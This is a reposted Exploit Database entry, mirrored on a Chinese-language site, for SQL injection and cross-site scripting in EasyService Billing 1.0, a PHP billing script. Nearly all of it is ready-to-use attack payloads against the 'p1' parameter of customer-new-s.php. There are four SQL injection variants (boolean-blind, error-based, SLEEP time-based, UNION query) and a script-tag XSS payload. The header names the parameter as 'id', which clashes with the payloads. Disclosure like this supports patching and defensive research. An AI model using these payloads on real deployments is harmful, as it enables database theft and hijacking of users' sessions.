EasyService Billing 1.0 – ‘p1’ SQL Injection

• Exploit Database
• 121 阅读

• 作者： AkkuS
  日期： 2018-05-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44707/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50

  # Exploit Title: EasyService Billing 1.0 - &apos;customer-new-s.php&apos; SQL Injection / Cross-Site Scripting # Dork: N/A # Date: 22.05.2018 # Exploit Author: Özkan Mustafa Akkuş (AkkuS) # Vendor Homepage: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594 # Version: 1.0 # Category: Webapps # Tested on: Kali linux # Description : all of the print and preview pages have the same vulnerabilities. (template_SBilling.php, template_Receipt.php, template_SBillingPerforma.php,template_SBillingQuotation.php) All of them use the same parameters. An attacker can use any of these. ====================================================   # PoC : SQLi :   Parameter : id   Type : boolean-based blind Demo : http://test.com/EasyServiceBilling/customer-new-s.php?p1=akkus+keyney Payload : Payload: p1=akkus+keyney&apos; AND 1815=1815 AND &apos;izgU&apos;=&apos;izgU   Type : error-based Demo : http://test.com/EasyServiceBilling/customer-new-s.php?p1=akkus+keyney Payload : p1=akkus+keyney&apos; AND (SELECT 2882 FROM(SELECT COUNT(*),CONCAT(0x7162627171,(SELECT (ELT(2882=2882,1))),0x717a6b6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND &apos;UFGx&apos;=&apos;UFGx   Type : AND/OR time-based blind Demo : http://test.com/EasyServiceBilling/customer-new-s.php?p1=akkus+keyney Payload : p1=akkus+keyney&apos; AND SLEEP(5) AND &apos;TJOA&apos;=&apos;TJOA   Type : UNION query Demo : http://test.com/EasyServiceBilling/customer-new-s.php?p1=akkus+keyney Payload : p1=akkus+keyney&apos; UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162627171,0x4e70435a69565a6248565947566b74614e7a5969635671587073454f75726f53795477506d514567,0x717a6b6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#       ==================================================== # PoC : XSS :   Payload : http://test.com/EasyServiceBilling/customer-new-s.php?p1=&apos; </script><script>alert(1)</script>‘;